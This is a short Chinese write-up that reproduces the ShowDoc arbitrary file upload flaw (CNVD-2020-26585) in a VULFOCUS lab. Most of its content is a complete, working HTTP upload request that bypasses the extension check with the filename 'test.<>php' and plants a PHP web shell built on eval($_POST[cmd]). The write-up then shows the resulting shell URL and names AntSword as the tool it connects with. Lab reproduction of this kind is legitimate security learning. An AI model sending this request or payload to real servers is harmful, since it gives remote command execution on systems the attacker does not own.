showdoc 文件上传 (cnvd-2020-26585)

showdoc 文件上传 (cnvd-2020-26585)

描述

ShowDoc是一个非常适合IT团队的在线API文档、技术文档工具。通过showdoc,你可以方便地使用markdown语法来书写出美观的API文档、数据字典文档、技术文档、在线excel文档等等。 api_page存在任意文件上传.

复现环境

VULFOCUS

复现过程

进入页面

刷新,抓包

将全部报文替换,更改 host,放包

http 复制代码
POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: 10.9.47.6:33974
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 265

----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?php echo '123_test';@eval($_POST[cmd])?>
----------------------------921378126371623762173617--

显示文件位置

复制代码
http://10.9.47.6:33974/Public/Uploads/2023-10-27/653ba623bb98c.php

成功上传

蚁剑连接

相关推荐
东北甜妹10 小时前
Docker 多阶段构建
运维·docker·容器
Zhu75810 小时前
【软件部署】docker环境部署nagios
运维·docker·容器
叛逆的小小黄11 小时前
maxent建模结果中响应曲线的美化
经验分享·笔记·r语言·maxent
火车叼位11 小时前
告别资源管理器卡顿:Windows 高效复制万级小文件的正确姿势
运维
Cat_Rocky11 小时前
Docker镜像瘦身
运维·docker·容器
handler0111 小时前
Linux: 基本指令知识点(3)
linux·服务器·c语言·开发语言·c++·笔记
向宇it11 小时前
获取服务器hung住时的崩溃日志并自动系统重启——监听服务器异常崩溃问题
运维·服务器
程序猿乐锅11 小时前
Java第十三篇:Stream流
java·笔记
殷忆枫11 小时前
AI学习笔记三十六:基于 YOLOv8 与 Qwen3.5 的多模态视频行为分析系统
笔记·学习·yolo
志栋智能11 小时前
从“成本中心”到“效率引擎”:超自动化巡检的转型之路
运维·数据库·自动化